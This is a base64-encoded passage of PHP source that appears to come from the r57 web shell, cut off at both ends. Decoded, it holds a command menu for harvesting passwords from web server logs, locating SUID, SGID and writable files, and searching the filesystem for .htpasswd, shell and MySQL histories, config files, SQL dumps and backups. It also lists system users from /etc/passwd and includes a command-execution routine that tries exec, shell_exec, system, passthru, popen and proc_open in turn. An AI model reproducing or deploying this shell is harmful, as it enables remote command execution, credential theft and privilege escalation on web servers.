LidwYXNzLnR4dCc9PidjYXQgL3Zhci9sb2cvaHR0cGQvZXJyb3JfbG9nIHwgZ3JlcCBwYXNzID4+ICcuJHRlbXBkaXIuJ3Bhc3MudHh0O2NhdCAnLiR0ZW1wZGlyLidwYXNzLnR4dCcsCidjYXQgL3Zhci9sb2cvaHR0cGQvYXV0aC5sb2cgfCBncmVwIHBhc3MgPj4gJy4kdGVtcGRpci4ncGFzcy50eHQ7Y2F0ICcuJHRlbXBkaXIuJ3Bhc3MudHh0Jz0+J2NhdCAvdmFyL2xvZy9odHRwZC9hdXRoLmxvZyB8IGdyZXAgcGFzcyA+PiAnLiR0ZW1wZGlyLidwYXNzLnR4dDtjYXQgJy4kdGVtcGRpci4ncGFzcy50eHQnLAonY2F0IC92YXIvbG9nL2h0dHBkL2FjY2Vzcy5sb2cgfCBncmVwIHBhc3MgPj4gJy4kdGVtcGRpci4ncGFzcy50eHQ7Y2F0ICcuJHRlbXBkaXIuJ3Bhc3MudHh0Jz0+J2NhdCAvdmFyL2xvZy9odHRwZC9hY2Nlc3MubG9nIHwgZ3JlcCBwYXNzID4+ICcuJHRlbXBkaXIuJ3Bhc3MudHh0O2NhdCAnLiR0ZW1wZGlyLidwYXNzLnR4dCcsCidjYXQgL3Zhci9sb2cvaHR0cGQvZXJyb3IubG9nIHwgZ3JlcCBwYXNzID4+ICcuJHRlbXBkaXIuJ3Bhc3MudHh0O2NhdCAnLiR0ZW1wZGlyLidwYXNzLnR4dCc9PidjYXQgL3Zhci9sb2cvaHR0cGQvZXJyb3IubG9nIHwgZ3JlcCBwYXNzID4+ICcuJHRlbXBkaXIuJ3Bhc3MudHh0O2NhdCAnLiR0ZW1wZGlyLidwYXNzLnR4dCcsCictLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tZmluZCc9PicnLAonZmluZCBzdWlkIGZpbGVzID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCc9PidmaW5kIC8gLXR5cGUgZiAtcGVybSAtMDQwMDAgLWxzICA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnLAonZmluZCBzdWlkIGZpbGVzIGluIGN1cnJlbnQgZGlyID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCc9PidmaW5kIC4gLXR5cGUgZiAtcGVybSAtMDQwMDAgLWxzICA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnLAonZmluZCBzZ2lkIGZpbGVzID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCc9PidmaW5kIC8gLXR5cGUgZiAtcGVybSAtMDIwMDAgLWxzICA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnLAonZmluZCBzZ2lkIGZpbGVzIGluIGN1cnJlbnQgZGlyID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCc9PidmaW5kIC4gLXR5cGUgZiAtcGVybSAtMDIwMDAgLWxzICA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnLAonZmluZCBhbGwgd3JpdGFibGUgZmlsZXMgPj4gJy4kdGVtcGRpci4nZ3JlcC50eHQ7Y2F0ICcuJHRlbXBkaXIuJ2dyZXAudHh0Jz0+J2ZpbmQgLyAtdHlwZSBmIC1wZXJtIC0yIC1scyAgPj4gJy4kdGVtcGRpci4nZ3JlcC50eHQ7Y2F0ICcuJHRlbXBkaXIuJ2dyZXAudHh0JywKJ2ZpbmQgYWxsIHdyaXRhYmxlIGZpbGVzIGluIGN1cnJlbnQgZGlyID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCc9PidmaW5kIC4gLXR5cGUgZiAtcGVybSAtMiAtbHMgID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCcsCidmaW5kIGFsbCB3cml0YWJsZSBkaXJlY3RvcmllcyA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnPT4nZmluZCAvICAtdHlwZSBkIC1wZXJtIC0yIC1scyAgPj4gJy4kdGVtcGRpci4nZ3JlcC50eHQ7Y2F0ICcuJHRlbXBkaXIuJ2dyZXAudHh0JywKJ2ZpbmQgYWxsIHdyaXRhYmxlIGRpcmVjdG9yaWVzIGluIGN1cnJlbnQgZGlyID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCc9PidmaW5kIC4gLXR5cGUgZCAtcGVybSAtMiAtbHMgID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCcsCidmaW5kIGFsbCB3cml0YWJsZSBkaXJlY3RvcmllcyBhbmQgZmlsZXMgPj4gJy4kdGVtcGRpci4nZ3JlcC50eHQ7Y2F0ICcuJHRlbXBkaXIuJ2dyZXAudHh0Jz0+J2ZpbmQgLyAtcGVybSAtMiAtbHMgID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCcsCidmaW5kIGFsbCB3cml0YWJsZSBkaXJlY3RvcmllcyBhbmQgZmlsZXMgaW4gY3VycmVudCBkaXIgPj4gJy4kdGVtcGRpci4nZ3JlcC50eHQ7Y2F0ICcuJHRlbXBkaXIuJ2dyZXAudHh0Jz0+J2ZpbmQgLiAtcGVybSAtMiAtbHMgID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCcsCidmaW5kIGFsbCAuaHRwYXNzd2QgZmlsZXMgPj4gJy4kdGVtcGRpci4nZ3JlcC50eHQ7Y2F0ICcuJHRlbXBkaXIuJ2dyZXAudHh0Jz0+J2ZpbmQgLyAtdHlwZSBmIC1uYW1lIC5odHBhc3N3ZCAgPj4gJy4kdGVtcGRpci4nZ3JlcC50eHQ7Y2F0ICcuJHRlbXBkaXIuJ2dyZXAudHh0JywKJ2ZpbmQgYWxsIC5iYXNoX2hpc3RvcnkgZmlsZXMgPj4gJy4kdGVtcGRpci4nZ3JlcC50eHQ7Y2F0ICcuJHRlbXBkaXIuJ2dyZXAudHh0Jz0+J2ZpbmQgLyAtdHlwZSBmIC1uYW1lIC5iYXNoX2hpc3RvcnkgID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCcsCidmaW5kIGFsbCAubXlzcWxfaGlzdG9yeSBmaWxlcyA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnPT4nZmluZCAvIC10eXBlIGYgLW5hbWUgLm15c3FsX2hpc3RvcnkgID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCcsCidmaW5kIGFsbCAuZmV0Y2htYWlscmMgZmlsZXMgPj4gJy4kdGVtcGRpci4nZ3JlcC50eHQ7Y2F0ICcuJHRlbXBkaXIuJ2dyZXAudHh0Jz0+J2ZpbmQgLyAtdHlwZSBmIC1uYW1lIC5mZXRjaG1haWxyYyAgPj4gJy4kdGVtcGRpci4nZ3JlcC50eHQ7Y2F0ICcuJHRlbXBkaXIuJ2dyZXAudHh0JywKJ2ZpbmQgaHR0cGQuY29uZiBmaWxlcyA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnPT4nZmluZCAvIC10eXBlIGYgLW5hbWUgaHR0cGQuY29uZiA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnLAonZmluZCB2aG9zdHMuY29uZiBmaWxlcyA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnPT4nZmluZCAvIC10eXBlIGYgLW5hbWUgdmhvc3RzLmNvbmYgPj4gJy4kdGVtcGRpci4nZ3JlcC50eHQ7Y2F0ICcuJHRlbXBkaXIuJ2dyZXAudHh0JywKJ2ZpbmQgcHJvZnRwZC5jb25mIGZpbGVzID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCc9PidmaW5kIC8gLXR5cGUgZiAtbmFtZSBwcm9mdHBkLmNvbmYgPj4gJy4kdGVtcGRpci4nZ3JlcC50eHQ7Y2F0ICcuJHRlbXBkaXIuJ2dyZXAudHh0JywKJ2ZpbmQgYWRtaW4ucGhwIGZpbGVzID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCc9PidmaW5kIC8gLXR5cGUgZiAtbmFtZSBhZG1pbi5waHAgPj4gJy4kdGVtcGRpci4nZ3JlcC50eHQ7Y2F0ICcuJHRlbXBkaXIuJ2dyZXAudHh0JywKJ2ZpbmQgY29uZmlnKiBmaWxlcyA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnPT4nZmluZCAvIC10eXBlIGYgLW5hbWUgImNvbmZpZyoiICA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnLAonZmluZCBjZmcucGhwIGZpbGVzID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCc9PidmaW5kIC8gLXR5cGUgZiAtbmFtZSBjZmcucGhwID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCcsCidmaW5kIGNvbmYucGhwIGZpbGVzID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCc9PidmaW5kIC8gLXR5cGUgZiAtbmFtZSBjb25mLnBocCA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnLAonZmluZCBjb25maWcuZGF0IGZpbGVzID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCc9PidmaW5kIC8gLXR5cGUgZiAtbmFtZSBjb25maWcuZGF0ID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCcsCidmaW5kIGNvbmZpZy5waHAgZmlsZXMgPj4gJy4kdGVtcGRpci4nZ3JlcC50eHQ7Y2F0ICcuJHRlbXBkaXIuJ2dyZXAudHh0Jz0+J2ZpbmQgLyAtdHlwZSBmIC1uYW1lIGNvbmZpZy5waHAgPj4gJy4kdGVtcGRpci4nZ3JlcC50eHQ7Y2F0ICcuJHRlbXBkaXIuJ2dyZXAudHh0JywKJ2ZpbmQgY29uZmlnLmluYyBmaWxlcyA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnPT4nZmluZCAvIC10eXBlIGYgLW5hbWUgY29uZmlnLmluYyA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnLAonZmluZCBjb25maWcuaW5jLnBocCBmaWxlcyA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnPT4nZmluZCAvIC10eXBlIGYgLW5hbWUgY29uZmlnLmluYy5waHAgPj4gJy4kdGVtcGRpci4nZ3JlcC50eHQ7Y2F0ICcuJHRlbXBkaXIuJ2dyZXAudHh0JywKJ2ZpbmQgY29uZmlnLmRlZmF1bHQucGhwIGZpbGVzID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCc9PidmaW5kIC8gLXR5cGUgZiAtbmFtZSBjb25maWcuZGVmYXVsdC5waHAgPj4gJy4kdGVtcGRpci4nZ3JlcC50eHQ7Y2F0ICcuJHRlbXBkaXIuJ2dyZXAudHh0JywKJ2ZpbmQgKi5jb25mIGZpbGVzID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCc9PidmaW5kIC8gLXR5cGUgZiAtbmFtZSAiKi5jb25mIiA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnLAonZmluZCAqLnB3ZCBmaWxlcyA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnPT4nZmluZCAvIC10eXBlIGYgLW5hbWUgIioucHdkIiA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnLAonZmluZCAqLnNxbCBmaWxlcyA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnPT4nZmluZCAvIC10eXBlIGYgLW5hbWUgIiouc3FsIiA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnLAonZmluZCAqYmFja3VwKiBmaWxlcyA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnPT4nZmluZCAvIC10eXBlIGYgLW5hbWUgIipiYWNrdXAqIiA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnLAonZmluZCAqZHVtcCogZmlsZXMgPj4gJy4kdGVtcGRpci4nZ3JlcC50eHQ7Y2F0ICcuJHRlbXBkaXIuJ2dyZXAudHh0Jz0+J2ZpbmQgLyAtdHlwZSBmIC1uYW1lICIqZHVtcCoiID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCcsCictLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSc9PicnLAonZmluZCAvdmFyLyBhdXRoX2xvZyBmaWxlcyA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnPT4nZmluZCAvdmFyLyAtdHlwZSBmIC1uYW1lIGF1dGhfbG9nID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCcsCidmaW5kIC92YXIvIGFjY2Vzc19sb2cgZmlsZXMgPj4gJy4kdGVtcGRpci4nZ3JlcC50eHQ7Y2F0ICcuJHRlbXBkaXIuJ2dyZXAudHh0Jz0+J2ZpbmQgL3Zhci8gLXR5cGUgZiAtbmFtZSBhY2Nlc3NfbG9nID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCcsCidmaW5kIC92YXIvIGVycm9yX2xvZyBmaWxlcyA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnPT4nZmluZCAvdmFyLyAtdHlwZSBmIC1uYW1lIGVycm9yX2xvZyA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnLAonZmluZCAvdmFyLyBhdXRoLmxvZyBmaWxlcyA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnPT4nZmluZCAvdmFyLyAtdHlwZSBmIC1uYW1lIGF1dGgubG9nID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCcsCidmaW5kIC92YXIvIGFjY2Vzcy5sb2cgZmlsZXMgPj4gJy4kdGVtcGRpci4nZ3JlcC50eHQ7Y2F0ICcuJHRlbXBkaXIuJ2dyZXAudHh0Jz0+J2ZpbmQgL3Zhci8gLXR5cGUgZiAtbmFtZSBhY2Nlc3MubG9nID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCcsCidmaW5kIC92YXIvIGVycm9yLmxvZyBmaWxlcyA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnPT4nZmluZCAvdmFyLyAtdHlwZSBmIC1uYW1lIGVycm9yLmxvZyA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnLAonZmluZCAvdmFyLyAiKl9sb2ciIGZpbGVzID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCc9PidmaW5kIC92YXIvIC10eXBlIGYgLW5hbWUgIioubG9nIiA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnLAonZmluZCAvdmFyLyAiKi5sb2ciIGZpbGVzID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCc9PidmaW5kIC92YXIvIC10eXBlIGYgLW5hbWUgIioubG9nIiA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnLAonLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSc9PidscyAtbGEnCik7CiR0YWJsZV91cDEgID0gIjx0cj48dGQgYmdjb2xvcj0jY2NjY2NjPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPjxkaXYgYWxpZ249Y2VudGVyPjo6ICI7CiR0YWJsZV91cDIgID0gIiA6OjwvZGl2PjwvYj48L2ZvbnQ+PC90ZD48L3RyPjx0cj48dGQ+IjsKJHRhYmxlX3VwMyAgPSAiPHRhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIGJnY29sb3I9IzAwMDAwMD48dHI+PHRkIGJnY29sb3I9I2NjY2NjYz4iOwokdGFibGVfZW5kMSA9ICI8L3RkPjwvdHI+IjsKJGFycm93ID0gIiA8Zm9udCBmYWNlPVdlYmRpbmdzIGNvbG9yPWdyYXk+NDwvZm9udD4iOwokbGIgPSAiPGZvbnQgY29sb3I9YmxhY2s+WzwvZm9udD4iOwokcmIgPSAiPGZvbnQgY29sb3I9YmxhY2s+XTwvZm9udD4iOwokZm9udCA9ICI8Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj4iOwokdHMgPSAiPHRhYmxlIGNsYXNzPXRhYmxlMSB3aWR0aD0xMDAlIGFsaWduPWNlbnRlcj4iOwokdGUgPSAiPC90YWJsZT4iOwokZnMgPSAiPGZvcm0gbmFtZT1mb3JtIG1ldGhvZD1QT1NUPiI7CiRmZSA9ICI8L2Zvcm0+IjsKCmlmKGlzc2V0KCRfR0VUWyd1c2VycyddKSkgCiB7IAogaWYoISR1c2Vycz1nZXRfdXNlcnMoJy9ldGMvcGFzc3dkJykpIHsgZWNobyAiPGNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMiBjb2xvcj1yZWQ+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OTYnXS4iPC9mb250PjwvY2VudGVyPiI7IH0KIGVsc2UgCiAgeyAKICBlY2hvICc8Y2VudGVyPic7CiAgZm9yZWFjaCgkdXNlcnMgYXMgJHVzZXIpIHsgZWNobyAkdXNlci4iPGJyPiI7IH0KICBlY2hvICc8L2NlbnRlcj4nOwogIH0KIGVjaG8gIjxicj48ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj5bIDxhIGhyZWY9JyIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIic+QkFDSzwvYT4gXTwvYj48L2ZvbnQ+PC9kaXY+IjsgZGllKCk7IAogfQoKaWYgKCFlbXB0eSgkX1BPU1RbJ2RpciddKSkgeyBpZihAZnVuY3Rpb25fZXhpc3RzKCdjaGRpcicpKXtAY2hkaXIoJF9QT1NUWydkaXInXSk7fSBlbHNlIGlmKEBmdW5jdGlvbl9leGlzdHMoJ2Nocm9vdCcpKXsgQGNocm9vdCgkX1BPU1RbJ2RpciddKTt9OyB9CmlmIChlbXB0eSgkX1BPU1RbJ2RpciddKSl7aWYoQGZ1bmN0aW9uX2V4aXN0cygnY2hkaXInKSl7JGRpciA9IEBnZXRjd2QoKTt9O31lbHNleyRkaXI9JF9QT1NUWydkaXInXTt9CiR1bml4ID0gMDsKaWYoc3RybGVuKCRkaXIpPjEgJiYgJGRpclsxXT09IjoiKSAkdW5peD0wOyBlbHNlICR1bml4PTE7CmlmKGVtcHR5KCRkaXIpKQogeyAKICRvcyA9IGdldGVudignT1MnKTsKIGlmKGVtcHR5KCRvcykpeyAkb3MgPSBAcGhwX3VuYW1lKCk7IH0gCiBpZihlbXB0eSgkb3MpKXsgJG9zID0iLSI7ICR1bml4PTE7IH0gCiBlbHNlCiAgICB7CiAgICBpZihAZXJlZ2koIl53aW4iLCRvcykpIHsgJHVuaXggPSAwOyB9CiAgICBlbHNlIHsgJHVuaXggPSAxOyB9CiAgICB9CiB9CgppZighZW1wdHkoJF9QT1NUWydzX2RpciddKSAmJiAhZW1wdHkoJF9QT1NUWydzX3RleHQnXSkgJiYgIWVtcHR5KCRfUE9TVFsnY21kJ10pICYmICRfUE9TVFsnY21kJ10gPT0gInNlYXJjaF90ZXh0IikKICB7CiAgICBlY2hvICRoZWFkOwogICAgaWYoIWVtcHR5KCRfUE9TVFsnc19tYXNrJ10pICYmICFlbXB0eSgkX1BPU1RbJ20nXSkpIHsgJHNyID0gbmV3IFNlYXJjaFJlc3VsdCgkX1BPU1RbJ3NfZGlyJ10sJF9QT1NUWydzX3RleHQnXSwkX1BPU1RbJ3NfbWFzayddKTsgfQogICAgZWxzZSB7ICRzciA9IG5ldyBTZWFyY2hSZXN1bHQoJF9QT1NUWydzX2RpciddLCRfUE9TVFsnc190ZXh0J10pOyB9CiAgICAkc3ItPlNlYXJjaFRleHQoMCwwKTsKICAgICRyZXMgPSAkc3ItPkdldFJlc3VsdEZpbGVzKCk7CiAgICAkZm91bmQgPSAkc3ItPkdldE1hdGNoZXNDb3VudCgpOwogICAgJHRpdGxlcyA9ICRzci0+R2V0VGl0bGVzKCk7CiAgICAkciA9ICIiOwogICAgaWYoJGZvdW5kID4gMCkKICAgIHsKICAgICAgJHIgLj0gIjxUQUJMRSB3aWR0aD0xMDAlPiI7CiAgICAgIGZvcmVhY2goJHJlcyBhcyAkZmlsZT0+JHYpCiAgICAgIHsKICAgICAgICAkciAuPSAiPFRSPiI7CiAgICAgICAgJHIgLj0gIjxURCBjb2xzcGFuPTI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+Ii53cygzKTsKICAgICAgICAkciAuPSAoISR1bml4KT8gc3RyX3JlcGxhY2UoIi8iLCJcXCIsJGZpbGUpIDogJGZpbGU7CiAgICAgICAgJHIgLj0gIjwvYj48L2ZvbnQ+PC8gVEQ+IjsKICAgICAgICAkciAuPSAiPC9UUj4iOwogICAgICAgIGZvcmVhY2goJHYgYXMgJGE9PiRiKQogICAgICAgIHsKICAgICAgICAgICRyIC49ICI8VFI+IjsKICAgICAgICAgICRyIC49ICI8VEQgYWxpZ249Y2VudGVyPjxCPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPiIuJGEuIjwvZm9udD48L0I+PC9URD4iOwogICAgICAgICAgJHIgLj0gIjxURD48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj4iLndzKDIpLiRiLiI8L2ZvbnQ+PC9URD4iOwogICAgICAgICAgJHIgLj0gIjwvVFI+XG4iOwogICAgICAgIH0KICAgICAgfQogICAgICAkciAuPSAiPC9UQUJMRT4iOwogICAgZWNobyAkcjsKICAgIH0KICAgIGVsc2UKICAgIHsKICAgICAgZWNobyAiPFAgYWxpZ249Y2VudGVyPjxCPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDU2J10uIjwvQj48L2ZvbnQ+PC9QPiI7CiAgICB9CiAgZWNobyAiPGJyPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPlsgPGEgaHJlZj0nIi4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iJz5CQUNLPC9hPiBdPC9iPjwvZm9udD48L2Rpdj4iOwogIGRpZSgpOyAKICB9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAoKLyppZighJHNhZmVfbW9kZSAmJiBzdHJwb3MoZXgoImVjaG8gYWJjcjU3IiksInI1NyIpIT0zKSB7ICRzYWZlX21vZGUgPSAxOyB9Ki8KaWYoc3RycG9zKGV4KCJlY2hvIGFiY3I1NyIpLCJyNTciKSE9MykgeyAkc2FmZV9tb2RlID0gMTsgfWVsc2V7JHNhZmVfbW9kZSA9IDA7fQokU0VSVkVSX1NPRlRXQVJFID0gZ2V0ZW52KCdTRVJWRVJfU09GVFdBUkUnKTsKaWYoZW1wdHkoJFNFUlZFUl9TT0ZUV0FSRSkpeyAkU0VSVkVSX1NPRlRXQVJFID0gIi0iOyB9CgpmdW5jdGlvbiB3cygkaSkKewpyZXR1cm4gQHN0cl9yZXBlYXQoIiZuYnNwOyIsJGkpOwp9CgpmdW5jdGlvbiBleCgkY2ZlKQp7Z2xvYmFsICR1bml4LCR0ZW1wZGlyOwogJHJlcyA9ICcnOwogaWYgKCFlbXB0eSgkY2ZlKSkKIHsKICBpZihAZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpCiAgIHsKICAgIEBleGVjKCRjZmUsJHJlcyk7CiAgICAkcmVzID0gam9pbigiXG4iLCRyZXMpOwogICB9CiAgZWxzZWlmKEBmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSkKICAgewogICAgJHJlcyA9IEBzaGVsbF9leGVjKCRjZmUpOwogICB9CiAgZWxzZWlmKEBmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKQogICB7CiAgICBAb2Jfc3RhcnQoKTsKICAgIEBzeXN0ZW0oJyRjZmUnKTsKICAgICRyZXMgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7CiAgICBAb2JfZW5kX2NsZWFuKCk7CiAgIH0KICBlbHNlaWYoQGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSkKICAgewogICAgQG9iX3N0YXJ0KCk7CiAgICBAcGFzc3RocnUoJGNmZSk7CiAgICAkcmVzID0gQG9iX2dldF9jb250ZW50cygpOwogICAgQG9iX2VuZF9jbGVhbigpOwogICB9CiAgZWxzZWlmKEBmdW5jdGlvbl9leGlzdHMoJ3BvcGVuJykgJiYgQGlzX3Jlc291cmNlKCRmID0gQHBvcGVuKCRjZmUsInIiKSkpCiAgewogICAkcmVzID0gIiI7CiAgIGlmKEBmdW5jdGlvbl9leGlzdHMoJ2ZyZWFkJykgJiYgQGZ1bmN0aW9uX2V4aXN0cygnZmVvZicpKXsKICAgIHdoaWxlKCFAZmVvZigkZikpIHsgJHJlcyAuPSBAZnJlYWQoJGYsMTAyNCk7IH0KICAgfWVsc2UgaWYoQGZ1bmN0aW9uX2V4aXN0cygnZmdldHMnKSAmJiBAZnVuY3Rpb25fZXhpc3RzKCdmZW9mJykpewogICAgd2hpbGUoIUBmZW9mKCRmKSkgeyAkcmVzIC49IEBmZ2V0cygkZiwxMDI0KTsgfQogICB9CiAgIEBwY2xvc2UoJGYpOwogIH0KICBlbHNlaWYoQGZ1bmN0aW9uX2V4aXN0cygncHJvY19vcGVuJykgJiYgQGlzX3Jlc291cmNlKCRmID0gQHByb2Nfb3BlbigkY2ZlLGFycmF5KDEgPT4gYXJyYXkoInBpcGUiLCAidyIpKSwkcGlwZXMpKSkKICB7CiAgICRyZXMgPSAiIjsKICAgaWYoQGZ1bmN0aW9uX2V4aXN0cygnZnJlYWQnKSAmJiBAZnVuY3Rpb25fZXhpc3RzKCdmZW9mJykpewogICAgd2hpbGUoIUBmZW9mKCRwaXBlc1sxXSkpIHskcmVzIC49IEBmcmVhZCgkcGlwZXNbMV0sIDEwMjQpO30KICAgfWVsc2UgaWYoQGZ1bmN0aW9uX2V4aXN0cygnZmdldHMnKSAmJiBAZnVuY3Rpb25fZXhpc3RzKCdmZW9mJykpewogICAgd2hpbGUoIUBmZW9mKCRwaXBlc1sxXSkpIHskcmVzIC49IEBmZ2V0cygkcGlw